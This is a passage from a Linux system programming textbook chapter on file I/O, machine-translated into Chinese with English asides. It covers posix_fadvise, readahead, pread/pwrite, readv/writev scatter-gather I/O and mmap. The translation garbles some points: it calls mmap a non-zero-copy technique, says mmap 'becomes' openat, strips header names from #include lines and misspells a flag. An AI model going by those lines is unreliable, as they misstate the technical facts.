-有一些需要注意的事项。 首先,重要的是开发人员要认识到,这个建议实际上只是对操作系统的一个提示和建议;它可能会得到尊重,也可能不会得到尊重。 接下来,同样,即使目标文件的页面被读入页面缓存,它们也可能因为各种原因而被逐出,内存压力就是典型的原因。 不过,尝试一下也没什么坏处;内核通常会考虑这些建议,而且它确实可以提高性能。 (可以像往常一样在与此 API 相关的手册页中查找更多建议值。) - -Interestingly, and now understandably, `cat(1)` uses the `posix_fadvise(2)` system call to inform the kernel that it intends to perform sequential reads until EOF. Using the powerful `strace(1)` utility on `cat(1)` reveals the following: `...fadvise64(3, 0, 0, POSIX_FADV_SEQUENTIAL) = 0` - -Don't get stressed with the fadvise64; it's just the underlying system call implementation on Linux for the `posix_fadvise(2)` system call.  Clearly, `cat(1)` has invoked this on the file (descriptor 3), offset 0 and length 0—implying until EOF, and with the advice parameter set to `POSIX_FADV_SEQUENTIAL`. - -# 通过 ReadAhead(2)API - -特定于 Linux(GNU)的`readahead(2)`系统调用在执行主动文件预读方面实现了与我们刚才看到的`posix_fadvise(2)`类似的结果。 其签名如下: - -```sh -include -ssize_t readahead(int fd, off64_t offset, size_t count); -``` - -在由`fd`指定的目标文件上执行预读,从文件`offset`开始,最大为`count`字节(四舍五入到页面粒度)。 - -Though not normally required, what if you want to explicitly empty (clean) the contents of the Linux kernel's page cache? If required, do this as the root user:  - -`# sync && echo 1 > /proc/sys/vm/drop_caches`  - -Don't miss the `sync(1)` first, or you risk losing data. Again, we stress that flushing the kernel page cache should not be done in the normal course, as this could actually hurt I/O performance. A collection of useful **command -line interface** (**CLI**) wrapper utilities called linux-ftools is available on GitHub here: [https://github.com/david415/linux-ftools](https://github.com/david415/linux-ftools). It provides the `fincore(1)` (that's read as f-in-core), `fadvise(1)`, and `fallocate(1)` utilities; it's very educational to check out their GitHub README, read their man pages, and try them out.  - -# 使用扩展、pwrite API 的 MT 应用文件 I/O - -回想一下我们在[附录 A](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf)、*File I/O Essentials*、*和*中看到的`read(2)`和`write(2`)系统调用,它们构成了对文件执行 I/O 的基础。 您还会记得,在使用这些 API 时,操作系统将隐式更新底层文件和偏移量。 例如,如果进程打开一个文件(通过`open(2)`),然后执行 512 字节的`read(2)`,则文件的偏移量(或所谓的寻道位置)现在将为 512。 如果它现在写入(比方说)200 字节,则写入将从位置 512 发生到位置 712,从而将新的寻道位置或偏移量设置为该数字。 - -那又怎么样? 我们的观点很简单,当多线程应用有多个线程同时在同一底层文件上执行 I/O 时,隐式设置文件的偏移量会导致问题。 但是请稍等,我们之前已经提到过这一点:需要锁定文件,然后再对其进行操作。 但是,锁定会造成主要的性能瓶颈。 如果你设计了一个 MT 应用,它的线程并行地处理同一文件的不同部分,会怎么样? 这听起来不错,只是文件的偏移量会不断变化,从而破坏我们的并行性,从而破坏性能(您还记得我们在[附录 A](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf),*File I/O Essentials*中的讨论,简单地使用`lseek(2)`来设置文件的查找位置可能会导致危险的竞争)。 - -那么,你是做什么的? Linux 为此提供了`pread(2)`和`pwrite(2)`系统调用(p 用于定位 I/O);使用这些 API,可以指定(或重新定位)执行 I/O 的文件偏移量,并且操作系统不会更改实际的底层文件偏移量。 他们的签名如下: - -```sh -#include -ssize_t pread(int fd, void *buf, size_t count, off_t offset); -ssize_t pwrite(int fd, const void *buf, size_t count, off_t offset); -``` - -`pread(2)`/`pwrite(2)`和通常的`read(2)`/`write(2)`系统调用之间的区别在于,以前的 API 采用额外的第四个参数-执行读或写 I/O 操作的文件偏移量,而不修改它。 这使我们能够实现我们想要的:通过让多个线程并行读写文件的不同部分,让 MT 应用执行高性能 I/O。 (我们将尝试这一任务作为一项有趣的练习留给读者。) - -需要注意的几点:首先,就像`read(2)`和`write(2)`、`pread(2)`、`pread(2)`和`pwrite(2)`一样,也可以在没有传输所有请求的字节的情况下返回;程序员有责任在循环中检查和调用 API,直到没有剩余的字节要传输(重新访问[附录 A](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf),*File I/O Essentials*)。 正确使用读/写 API(解决此类问题的位置)。 其次,当使用指定的`O_APPEND`标志打开文件时,Linux 的`pwrite(2)`系统调用总是将数据附加到 EOF,而不考虑当前的偏移量值;这违反了 POSIX 标准,该标准规定`O_APPEND`标志不应影响写入发生的起始位置。 第三,非常明显(但我们必须声明),被操作的文件必须能够被查找(即,支持`fseek(3)`或`lseek(2)`API)。 常规文件始终支持查找操作,但管道和某些类型的设备不支持)。 - -# 分散-聚集 I/O - -为了帮助解释此主题,假设我们被委托将数据写入文件,以便写入三个不连续的数据区域 A、B 和 C(分别填充 AS、B 和 C);下面的图表显示了这一点: - -```sh -+------+-----------+---------+-----------+------+-----------+ -| | ... A ... | | ... B ... | | ... C ... | -+------+-----------+---------+-----------+------+-----------+ -|A_HOLE| A_LEN | B_HOLE | B_LEN |C_HOLE| C_LEN | -+------+-----------+---------+-----------+------+-----------+ - ^ ^ ^ - A_START_OFF B_START_OFF C_START_OFF -``` - -The discontiguous data file - -注意文件是如何有洞的-不包含任何数据内容的区域;这可以通过常规文件来实现(主要是洞的文件被称为稀疏文件)。 你是如何创造这个洞的? 简单:只需执行一个测试`lseek(2)`,然后执行`write(2)`数据;向前搜索的长度决定文件中孔的大小。 - -那么,我们如何才能实现如图所示的数据文件布局呢? 我们将展示两种方法-一种是传统方式,另一种是更优化的性能方法。 让我们从传统方法开始吧。 - -# 非连续数据文件-传统方法 - -这似乎很简单:首先查找到所需的起始偏移量,然后写入所需长度的数据内容;这可以通过一对`lseek(2)`和`write(2)`系统调用来完成。 当然,我们必须调用这对系统调用三次。 因此,我们编写一些代码来实际执行此任务;请参见此处的代码(相关代码片段)(`ch18/sgio_simple.c`): - -For readability, only key parts of the source code are displayed; to view the complete source code, build, and run it, the entire tree is available for cloning from GitHub here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -```sh -#define A_HOLE_LEN 10 -#define A_START_OFF A_HOLE_LEN -#define A_LEN 20 - -#define B_HOLE_LEN 100 -#define B_START_OFF (A_HOLE_LEN+A_LEN+B_HOLE_LEN) -#define B_LEN 30 - -#define C_HOLE_LEN 20 -#define C_START_OFF (A_HOLE_LEN+A_LEN+B_HOLE_LEN+B_LEN+C_HOLE_LEN) -#define C_LEN 42 -... -static int wr_discontig_the_normal_way(int fd) -{ ... - /* A: {seek_to A_START_OFF, write gbufA for A_LEN bytes} */ - if (lseek(fd, A_START_OFF, SEEK_SET) < 0) - FATAL("lseek A failed\n"); - if (write(fd, gbufA, A_LEN) < 0) - FATAL("write A failed\n"); - - /* B: {seek_to B_START_OFF, write gbufB for B_LEN bytes} */ - if (lseek(fd, B_START_OFF, SEEK_SET) < 0) - FATAL("lseek B failed\n"); - if (write(fd, gbufB, B_LEN) < 0) - FATAL("write B failed\n"); - - /* C: {seek_to C_START_OFF, write gbufC for C_LEN bytes} */ - if (lseek(fd, C_START_OFF, SEEK_SET) < 0) - FATAL("lseek C failed\n"); - if (write(fd, gbufC, C_LEN) < 0) - FATAL("write C failed\n"); - return 0; -} -``` - -请注意,我们是如何编写代码来连续三次使用一对`{lseek, write}`系统调用的;让我们试一试: - -```sh -$ ./sgio_simple -Usage: ./sgio_simple use-method-option - 0 = traditional lseek/write method - 1 = better SG IO method -$ ./sgio_simple 0 -In setup_buffers_goto() -In wr_discontig_the_normal_way() -$ ls -l tmptest --rw-rw-r--. 1 kai kai 222 Oct 16 08:45 tmptest -$ hexdump -x tmptest -0000000 0000 0000 0000 0000 0000 4141 4141 4141 -0000010 4141 4141 4141 4141 4141 4141 4141 0000 -0000020 0000 0000 0000 0000 0000 0000 0000 0000 -* -0000080 0000 4242 4242 4242 4242 4242 4242 4242 -0000090 4242 4242 4242 4242 4242 4242 4242 4242 -00000a0 0000 0000 0000 0000 0000 0000 0000 0000 -00000b0 0000 0000 4343 4343 4343 4343 4343 4343 -00000c0 4343 4343 4343 4343 4343 4343 4343 4343 -00000d0 4343 4343 4343 4343 4343 4343 4343 -00000de -$ -``` - -它起作用了;我们创建的文件`tmptest`(我们在这里没有显示创建文件、分配和初始化缓冲区等的代码;请通过本书的 GitHub 存储库查找)的长度为 222 字节,尽管实际数据内容(AS、BS 和 Cs)的长度为 20+30+42=92 字节。 剩下的(222-92)130 个字节是文件中的三个洞(长度为 10+100+20 个字节;请参阅在代码中定义这些的宏)。 命令`hexdump(1)`实用程序可以方便地转储文件内容;0x41 是 A,0x42 是 B,0x43 是 C。这些洞显然是我们想要的长度的空填充区域。 - -# 不连续数据文件-SG-I/O 方法 - -当然,连续三次使用`{lseek, write}`对系统调用的传统方法是有效的,但会带来相当大的性能损失;事实是,发出系统调用被认为是非常昂贵的。 一种在性能方面要优越得多的方法称为*分散聚集 I/O*(SG-I/O,或向量化 I/O)。 相关的系统调用是`readv(2)`和`writev(2)`;这是它们的签名: - -```sh -#include -ssize_t readv(int fd, const struct iovec *iov, int iovcnt); -ssize_t writev(int fd, const struct iovec *iov, int iovcnt); -``` - -这些系统调用允许您指定一组段以一次读取或写入;每个段通过名为`iovec`的结构描述单个 I/O 操作: - -```sh -struct iovec { - void *iov_base; /* Starting address */ - size_t iov_len; /* Number of bytes to transfer */ -}; -``` - -程序员可以传递描述要执行的 I/O 操作的段数组;这正是第二个参数-指向 struct iovecs 数组的指针;第三个参数是要处理的段数。 第一个参数很明显-文件描述符表示要对其执行集中读取或分散写入的文件。 - -因此,想想看:您可以将来自给定文件的不连续读取聚集到您通过 I/O 向量指针指定的缓冲区(及其大小)中,并且可以从您通过 I/O 向量指针指定的缓冲区(及其大小)分散对给定文件的不连续写入;因此,这些类型的多个不连续 I/O 操作被称为分散聚集 I/O! 这是真正酷的部分:系统调用保证以数组顺序和原子方式执行这些 I/O 操作;也就是说,只有当所有操作都完成时,它们才会返回。 不过,同样要小心:`readv(2)`或`writev(2)`的返回值是读取或写入的实际字节数,失败时返回值为`-1`。 I/O 操作执行的数量总是有可能低于请求的数量;这不是故障,应该由开发人员进行检查。 - -现在,对于我们前面的数据文件示例,让我们看一下通过`writev(2)`设置和执行不连续的分散有序原子写入的代码: - -```sh -static int wr_discontig_the_better_SGIO_way(int fd) -{ - struct iovec iov[6]; - int i=0; - - /* We don't want to call lseek of course; so we emulate the seek - * by introducing segments that are just "holes" in the file. */ - - /* A: {seek_to A_START_OFF, write gbufA for A_LEN bytes} */ - iov[i].iov_base = gbuf_hole; - iov[i].iov_len = A_HOLE_LEN; - i ++; - iov[i].iov_base = gbufA; - iov[i].iov_len = A_LEN; - - /* B: {seek_to B_START_OFF, write gbufB for B_LEN bytes} */ - i ++; - iov[i].iov_base = gbuf_hole; - iov[i].iov_len = B_HOLE_LEN; - i ++; - iov[i].iov_base = gbufB; - iov[i].iov_len = B_LEN; - - /* C: {seek_to C_START_OFF, write gbufC for C_LEN bytes} */ - i ++; - iov[i].iov_base = gbuf_hole; - iov[i].iov_len = C_HOLE_LEN; - i ++; - iov[i].iov_base = gbufC; - iov[i].iov_len = C_LEN; - i ++; - - /* Perform all six discontiguous writes in order and atomically! */ - if (writev(fd, iov, i) < 0) - return -1; -/* Do note! As mentioned in Ch 19: - * "the return value from readv(2) or writev(2) is the actual number - * of bytes read or written, and -1 on failure. It's always possible - * that an I/O operation performs less than the amount requested; this - * is not a failure, and it's up to the developer to check." - * Above, we have _not_ checked; we leave it as an exercise to the - * interested reader to modify this code to check for and read/write - * any remaining bytes (similar to this example: ch7/simpcp2.c). - */ - return 0; -} -``` - -最终结果与传统方法完全相同;我们留给读者去尝试和观察。 这是关键点:传统方法要求我们至少发出 6 个系统调用(3 x`{lseek, write}`对)来执行不连续的数据写入文件,而 SG-I/O 代码只使用一个系统调用执行完全相同的不连续的数据写入。 这会带来显著的性能提升,特别是对于 I/O 工作负载繁重的应用。 - -The interested reader, delving into the full source code of the previous example program (`ch18/sgio_simple.c`) will notice something that perhaps seems peculiar (or even just wrong): the blatant use of the controversial `goto` statement! The fact, though, is that the `goto` can be very useful in error handling—performing the code cleanup required when exiting a deep-nested path within a function due to failure. Please check out the links provided in the *Further reading* section on the GitHub repository for more. The Linux kernel community has been quite happily using the `goto` for a long while now; we urge developers to look into appropriate usage of the same. - -# SG-I/O 变体 - -回想一下*MT 应用文件 I/O 和扩展,pwrite API 和*部分,我们可以使用`pread(2)`和`pwrite(2)`系统调用通过多线程(在多线程应用中)有效地并行执行文件 I/O。 同样,Linux 提供了`preadv(2)`和`pwritev(2)`系统调用;正如您可以猜到的那样,它们提供了`readv(2)`和`writev(2)`的功能,并添加了第四个参数:Offset;就像`readv(2)`和`writev(2)`一样,可以指定要执行 SG-IO 的文件偏移量,并且不能更改它(同样,可能对 MT 应用很有用)。 `preadv(2)`和`pwritev(2)`的签名如下所示: - -```sh -#include -ssize_t preadv(int fd, const struct iovec *iov, int iovcnt, - off_t offset); -ssize_t pwritev(int fd, const struct iovec *iov, int iovcnt, - off_t offset); -``` - -最近的 Linux 内核(有些是 4.6 版以上)还提供了 API 的进一步变体:`preadv2(2)`和`pwritev2(2)`系统调用。 与以前的 API 的不同之处在于,它们采用额外的第五个参数和标志,允许开发人员通过能够指定 SG-I/O 操作是同步(通过*RWF_DSYNC 和*RWF_SYNC 标志)、高优先级(通过*RWF_HIPRI 标志)还是非阻塞(通过*RWF_NOWIT 标志)来更好地控制 SG-I/O 操作的行为。 有关详细信息,请读者参阅`preadv2(2)`/`pwritev2(2)`上的手册页。 - -# 通过内存映射的 I/O 文件 - -无论是在[附录 A](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf)、*File I/O Essentials*中,还是在本章中,我们都多次提到 Linux 内核的页面缓存如何通过缓存其中的文件内容来帮助极大地提高性能(减少了每次访问非常慢的存储设备而只读或写 RAM 中的数据块的需要)。 然而,尽管我们通过页面缓存获得了性能,但同时使用传统的`read(2)`、`write(2)`API 甚至更快的 SG-I/O(`[p][read|write][v][2](2)`)API 仍然存在一个隐藏的问题。 - -# Linux I/O 代码路径简介 - -要了解问题所在,我们首先必须更深入地了解 I/O 代码路径的实际工作方式;下图概括了相关要点: - -![](img/ed260a42-11ae-4f52-bc88-a2347b755b7a.png) - -Figure 1: Page cache populated with -disk data The reader should realize that though this diagram seems quite detailed, we're actually seeing a rather simplistic view of the entire Linux I/O code path (or I/O stack), only what is relevant to this discussion. For a more detailed overview (and diagram), please see the link provided in the *Further reading *section on the GitHub repository. - -假设**进程 P1**打算从它打开的目标文件中读取大约 12KB 的数据(通过`open(2)`系统调用);我们设想它将通过通常的方式完成此操作: - -* 通过`malloc(3)`接口分配 12KB 的堆缓冲区(3 页=12,288 字节)。 -* 发出`read(2)`系统调用,将数据从文件读入堆缓冲区。 - * `read(2)`系统调用在操作系统中执行工作;当读取完成后,它返回(希望是值`12,288`;记住,程序员的工作是检查这一点,不做任何假设)。 - -这听起来很简单,但在引擎盖下发生的事情还有很多,更深入地挖掘一下符合我们的利益。 以下是所发生情况的更详细视图(上一图中的数字点**1**、**2**和**3**在圆圈中显示;以下为): - -1. **进程 P1**通过`malloc(3)`API(len=12KB=12,288 字节)分配 12KB 的堆缓冲区。 -2. 接下来,它发出一个`read(2)`系统调用,将数据从文件(由.fd 指定)读取到刚才分配的 buf 的堆缓冲区中,长度为 12KB。 -3. 因为`read(2)`是一个系统调用,所以进程(或线程)现在切换到内核模式(还记得我们在前面的[第 1 章](01.html),*Linux 系统架构*中介绍的单片设计); 它进入 Linux 内核的通用文件系统层(称为**虚拟文件系统交换机**(**VFS**),在那里它将被自动分流到其相应的底层文件系统驱动程序(可能是 ext4fs),之后 Linux 内核将首先检查:所需文件数据的这些页面是否已缓存在我们的页面缓存中?如果已缓存,则该工作完成(我们短路至*步骤 7*)。 假设我们得到一个缓存未命中--所需的文件数据页不在页面缓存中。 - -4. 因此,内核首先为页面缓存分配足够的 RAM(页帧)(在我们的示例中,三个帧显示为页面缓存内存区域内的粉红色正方形)。 然后,它向请求文件数据的底层发出适当的 I/O 请求。 -5. 请求最终到达块(存储)驱动程序;我们假设它知道自己的工作,并从底层存储设备控制器(可能是磁盘或闪存控制器芯片)读取所需的数据块。 然后(这里是有趣的一点),它被赋予一个目标地址来写入文件数据;它是页面缓存中分配的页帧的地址(步骤 4);因此,块驱动程序总是将文件数据写入内核的页面缓存中,并且永远不会直接返回到用户模式进程缓冲区。 -6. 块驱动程序已成功地将数据块从存储设备(或其他设备)复制到内核页面缓存中先前分配的帧中。 (实际上,这些数据传输通过一种称为**直接存储器访问**(**DMA**)的高级存储器传输技术进行了高度优化),其中,驱动程序本质上利用硬件直接在设备和系统存储器之间传输数据,而无需 CPU 干预。 显然,这些主题远远超出了本书的范围。) -7. 现在,内核将刚刚填充的内核页面缓存帧复制到用户空间堆缓冲区中。 -8. (阻塞)`read(2)`系统调用现在终止,返回值 12,288,表示所有三页文件数据确实已经传输(同样,作为应用开发人员,您应该检查该返回值,不做任何假设)。 - -一切看起来都很棒,是吗? 其实并非如此;仔细考虑一下:虽然`read(2)`(或`pread[v][2](2)`)API 确实成功了,但这一成功是要付出相当大的代价的:内核必须分配 RAM(页帧)以在其页面缓存中保存文件数据(步骤 4),一旦数据传输完成(步骤 6),然后将该内容复制到用户空间堆内存中(步骤 7)。 因此,通过保留额外的数据副本,我们使用了两倍以上的 RAM。这是非常浪费的,显然,在块驱动程序到内核页高速缓存,然后内核页高速缓存到用户空间堆缓冲区之间多次复制数据缓冲区,也会降低性能(更不用说 CPU 高速缓存会不必要地受到所有这些垃圾内容的影响)。 使用前面的代码模式,不等待慢速存储设备的问题得到了解决(通过页面缓存效率),但其他一切都很糟糕-我们实际上将所需的内存使用量增加了一倍,并且在进行复制时 CPU 缓存被(不必要的)文件数据覆盖。 - -# 为 I/O 映射文件的内存 - -以下是这些问题的解决方案:通过进程`mmap(2)`系统调用进行内存映射。Linux 提供了非常强大的进程`mmap(2)`系统调用;它使开发人员能够将任何内容直接映射到进程中的**虚拟地址空间**(**VAS**)。 此内容包括文件数据、硬件设备(适配器)存储区域或仅通用存储区域。 在本章中,我们将只关注使用`mmap(2)`将常规文件的内容映射到进程 VAS 中。 在进入`mmap(2)`如何成为我们刚才讨论的内存浪费问题的解决方案之前,我们首先需要更多地了解如何使用`mmap(2)`系统调用本身。 - -`mmap(2)`系统调用的签名如下所示: - -```sh -#include -void *mmap(void *addr, size_t length, int prot, int flags, - int fd, off_t offset); -``` - -我们希望将文件的给定区域(从给定的`offset`字节和`length`字节)映射到我们的流程 VAS 中;下图描述了我们要实现的简单视图: - -![](img/61b1e79e-6de8-4622-a1f7-3ee3b24b376e.png) - -Figure 2: Memory mapping a file region into process VAS - -要实现此文件到进程 VAS 的映射,我们使用`mmap(2)`系统调用。 看一下它的签名,很明显我们首先需要做的是:通过`open(2)`打开要映射的文件(以适当的模式打开:只读或读写,取决于您想要做什么),从而获得一个文件描述符;将此描述符作为第五个参数传递给文件`mmap(2)`。 要映射到过程 VAS 的文件区域可以分别通过第六个和第二个参数指定-映射应从其开始的文件`offset`和`length`(以字节为单位)。 - -第一个参数是`addr`,它提示内核在进程 VAS 中的哪个位置应该创建映射;建议在这里传递`0`(NULL),允许操作系统决定新映射的位置。 这是使用`mmap(2)`的正确便携方式;但是,有些应用(是的,还有一些恶意的安全攻击!)。 使用此参数可以尝试预测映射发生的位置。 在任何情况下,在流程 VAS 中创建映射的实际(虚拟)地址都是从函数`mmap(2)`返回的值;NULL 返回表示失败,必须进行检查。 - -Here is an interesting technique to fix the location of the mapping: first perform a  `malloc(3)` of the required mapping size and pass the return value from this `malloc(3)` to the `mmap(2)`'s first parameter (also set the flags parameter to include the MAP_FIXED bit)! This will probably work if the length is above MMAP_THRESHOLD (128 KB by default) and the size is a multiple of the system page size. Note, again, this technique is not portable and may or may not work. - -另一点需要注意的是,大多数映射(总是文件映射)都是按照页面粒度(即页面大小的倍数)执行的;因此,返回地址通常是页面对齐的。 - -`mmap(2)`的第三个参数是整数位掩码`prot`-给定区域的内存保护(回想一下,我们已经在第[章](04.html)和*动态内存分配*一节的*内存保护*部分中遇到过内存保护)。 参数`prot`是位掩码,它可以只是第一个`PROT_NONE`位(表示没有权限),也可以是余数的逐位或;此表列举了位及其含义: - -| **保护位** | **含义** | -| `PROT_NONE` | 不允许访问该页面 | -| `PROT_READ` | 页面上允许的读取数 | -| `PROT_WRITE` | 页面上允许的写入 | -| `PROT_EXEC` | 执行页面上允许的访问权限 | - -mmap(2) protection bits - -当然,页面保护必须与文件的`open(2)`相匹配。 还要注意,在较旧的 x86 系统上,可写内存用于表示可读内存(即`PROT_WRITE => PROT_READ`)。 现在不再是这种情况;您必须显式指定映射的页面是否可读(对于可执行页面也是如此:必须指定,文本段是典型的示例)。 为什么要使用 PROT_NONE 呢? Stack Guard 页是一个现实的例子(回忆一下[第 14 章](14.html),*使用 PthreadsPart I-Essentials*中的*Stack Guard 和*部分)。 - -# 文件和匿名映射 - -下一点需要理解的是,大致有两种类型的映射:文件映射区域或匿名区域。 文件映射区域非常明显地映射文件的(全部或部分)内容(如上图所示)。 我们认为该区域由文件支持;也就是说,如果操作系统内存不足,并决定回收一些文件映射的页面,则不需要将它们写入交换分区-它们已经在映射的文件中可用。 另一方面,匿名映射是内容是动态的映射;数据段(初始化数据、BSS、堆)、库映射的数据段、进程(或线程)栈是匿名映射的优秀示例。 可以认为它们不是文件备份的;因此,如果内存不足,操作系统可能确实会将它们的页面写入交换。 此外,回想一下我们在[第 4 章](04.html)和*动态内存分配*中了解到的关于`malloc(3)`的内容;事实是,glibc`malloc(3)`引擎仅在分配的量很小-小于 MMAP_THRESHOLD(缺省值为 128KB)时才使用堆段来为分配提供服务。 高于该值的任何`malloc(3)`都将导致内部调用`mmap(2)`来设置所需大小的匿名内存区域(映射!)。 这些映射(或段)将位于堆顶部和 Main 堆栈之间的可用虚拟地址空间中。 - -回到`mmap(2)`:第四个参数是位掩码,称为`flags`;有几个标志,它们影响映射的许多属性。 其中,两个标志决定映射的私密性,并且是互斥的(一次只能使用其中任何一个): - -* **MAP_SHARED**:映射是共享的;其他进程可能同时处理相同的映射(实际上,这是实现通用 IPC 机制-共享内存-的通用方式)。 在文件映射的情况下,如果内存区域被写入,则更新底层文件! (您可以使用`msync(2)`控制将内存中的写入刷新到底层文件。) -* **MAP_PRIVATE**:这将设置一个私有映射;如果它是可写的,则意味着 COW 语义(导致最佳内存使用,如[第 10 章](10.html),*进程创建*中所述)。 私有的文件映射区域将不会执行对底层文件的写入。 实际上,私有文件映射在 Linux 上非常常见:这正是在开始执行进程时,加载器(请参见信息框)引入二进制可执行文件的文本和数据以及进程使用的所有共享库的文本和数据的方式。 - -The reality is that when a process runs, control first goes to a program embedded into your `a.out` binary executable—the loader (`ld.so` or `ld-linux[-*].so`). It performs the key work of setting up the C runtime environment: it memory maps (via the `mmap(2)`) the text (code) and initialized data segments from the binary executable file into the process, thereby creating the segments in the VAS that we have been talking about since [Chapter 2](02.html), *Virtual Memory*. Further, it sets up the initialized data segment, the BSS, the heap, and the stack (of `main()`), and then it looks for and memory maps all shared libraries into the process VAS. - -Try performing a `strace(1)` on a program; you will see (early in the execution) all the `mmap(2)` system calls setting up the process VAS! The `mmap(2)` is critical to Linux: in effect, the entire setup of the process VAS, the segments or mappings—both at process startup as well as later—are all done via the `mmap(2)` system call. - -为了帮助弄清楚这些重要事实,我们显示了在`ls(1)`上运行`strace(1)`的一些(截断)输出; (例如)查看如何在 glibc 上执行`open(2)`,返回文件描述符 3,然后由`mmap(2)`使用它在进程 VAS!中创建 glibc 代码的私有文件映射只读映射(我们可以看到第一个`mmap`中的偏移量是`0`)(详细信息:`open(2)`成为内核中的`openat(2)`函数;忽略这一点,就像在 Linux 上经常发生的那样,`mmap(2)`变成`openat(2)`。 `strace(1)`(截断)输出如下: - -```sh -$ strace -e trace=openat,mmap ls > /dev/null -... -openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 -mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f963d8a5000 -mmap(0x7f963dc8c000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f963dc8c000 -... -``` - -The kernel maintains a data structure called the **virtual memory area** (**VMA**) for each such mapping per process; the proc filesystem reveals all mappings to us in user space via `/proc/PID/maps`. Do take a look; you will literally see the virtual memory map of the process user space. (Try `sudo cat /proc/self/maps` to see the map of the cat process itself.) The man page on `proc(5)` explains in detail how to interpret this map; please take a look. - -# Mmap 的优势 - -现在我们了解了如何使用`mmap(2)`系统调用,我们再回顾一下前面的讨论:回想一下,使用`read(2)`/`write(2)`甚至 SG-I/O 类型的 API(`[p]readv|writev[2](2)`)会导致双重复制;内存浪费(加上 CPU 缓存也会被丢弃)。 - -实现`mmap(2)`如此有效地解决这个严重问题的关键在于:`mmap(2)`通过在内部将包含文件数据(从存储设备读入)的页面直接映射到进程虚拟地址空间来建立文件映射。 此图(*图 3*)透视了这一点(并使其不言自明): - -![](img/17d428b0-e611-49dc-9c50-908fa2bc0d98.png) - -Figure 3: Page cache populated with -disk data - -映射不是拷贝;因此,基于`mmap(2)`的文件 I/O 被称为非零拷贝技术:一种在 I/O 缓冲区上执行工作的方法,其中内核在其页缓存中只维护一个拷贝;不需要更多拷贝。 - -The fact is that the device driver authors look to optimize their data path using zero-copy techniques, of which the `mmap(2)` is certainly a candidate. See more on this interesting advanced topic within links provided in the *Further reading* section on the GitHub repository. - -`mmap(2)`在设置映射(第一次)时确实会产生很大的开销,但一旦完成,I/O 就会非常快,因为它基本上是在内存中执行的。 想想看:要查找文件中的某个位置并在那里执行 I/O,只需使用常规的‘C’代码从`mmap(2)`返回值(它只是一个指针偏移量)移动到给定位置,并在内存本身中执行 I/O 工作(通过`memcpy(3)`、`s[n]printf(3)`或任何您喜欢的);根本不需要`lseek(2)`、`read(2)`/`write(2)`或 SG-I/O 系统调用开销。 对于非常少量的 I/O 工作,使用`mmap(2)`可能不是最佳的;当指示大量且持续的 I/O 工作负载时,建议使用它。 - -# 代码示例 - -为了帮助读者使用`mmap(2)`进行文件 I/O,我们提供了一个简单应用的代码;它通过`mmap(2)`和十六进制(使用略有增强的开源`hexdump`函数)将指定的内存区域映射到`stdout`上,从而将给定的文件(文件的路径名、起始偏移量和长度作为参数提供)映射到`stdout`。 我们敦促读者查阅代码、构建并试用它。 - -The complete source code for this book is available for cloning from GitHub here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). The aforementioned program is here within the source tree: `ch18/mmap_file_simple.c`. - -# 内存映射-附加点 - -以下是几个附加要点的快速总结,以结束内存映射讨论: - -* `mmap(2)`的第四个参数是`flags`,它可以采用其他几个(相当有趣的)值;我们让读者参考`mmap(2)`上的手册页来浏览它们:[http://man7.org/linux/man-pages/man2/mmap.2.html](http://man7.org/linux/man-pages/man2/mmap.2.html)。 -* 直接类似于如何使用`posix_fadvise(2)`API 向内核提供有关内核页面缓存页面的提示或建议,您可以通过`posix_madvise(3)`库 API 向内核提供关于给定内存范围(起始地址、提供的长度)的内存使用模式的类似提示或建议。 建议值包括能够说我们希望随机访问数据(从而通过`POSIX_MADV_RANDOM`位减少预读),或者我们希望很快访问指定范围内的数据(通过`POSIX_MADV_WILLNEED`位,从而产生更多的预读和映射)。 此例程调用 Linux 上的底层系统调用`madvise(2)`。 -* 假设我们已经将文件的一个区域映射到我们的进程地址空间;我们如何知道映射的哪些页面当前驻留在内核页面(或缓冲区)缓存中? 准确地说,这可以通过`mincore(2)`系统调用(读作“m-in-core”)来确定。 -* 程序员可以通过`msync(2)`系统调用对同步(刷新)文件映射区域(返回到文件)进行显式(和微调)控制。 -* 一旦完成,内存映射应该通过`munmap(2)`系统调用取消映射;参数是映射的基地址(来自`mmap(2)`的返回值)和长度。 如果进程终止,映射将隐式取消映射。 -* 在`fork(2)`上,子进程继承内存映射。 -* 如果一个巨大的文件被内存映射,并且在运行时分配页帧来保存进程 VAS 中的映射(回想一下我们在[第 4 章](04.html),*动态内存分配*中关于按需分页的讨论),系统会耗尽内存(剧烈的,但也有可能发生);在这种情况下,进程将收到错误的`SIGSEGV`信号(因此取决于应用的信号处理能力来正常终止)。 - -# DIO 和 AIO - -同时使用阻塞函数`[p]read[v](2)`/`[p]write[v](2)`API 和函数`mmap(2)`(实际上在使用`mmap`时更是如此)的一个显著缺点是:它们依赖于内核页面缓存总是由文件的页面(它正在处理或映射)填充。 如果不是这种情况-当数据存储远远大于 RAM 大小(即,文件可能非常大)时会发生这种情况-它将导致内核**内存管理**(**mm**)代码进行大量的元工作,以将页面从磁盘引入到页面缓存、分配帧、为它们缝合页面表项,等等。 因此,当 RAM 与存储的比率尽可能接近 1:1 时,`mmap`技术效果最好。 当存储大小远远大于 RAM 时(通常是数据库、大规模云虚拟化等企业级软件的情况),它可能会受到所有元工作造成的延迟,以及大量内存将用于分页元数据的事实。 - -两种 I/O 技术-DIO 和 AIO-缓解了这些问题(以复杂性为代价);接下来我们将简要介绍它们。 (由于篇幅所限,我们将重点放在这些主题的概念性方面;因此,学习使用相关 API 是一项相对容易的任务。 请务必参考有关 GitHub 存储库的*进一步阅读*部分。) - -# 直接 I/O(DIO) - -一种有趣的 I/O 技术是**Direct I/O**(**DIO**);要使用它,请在通过`open(2)`系统调用打开文件时指定`O_DIRECT`标志。 - -有了 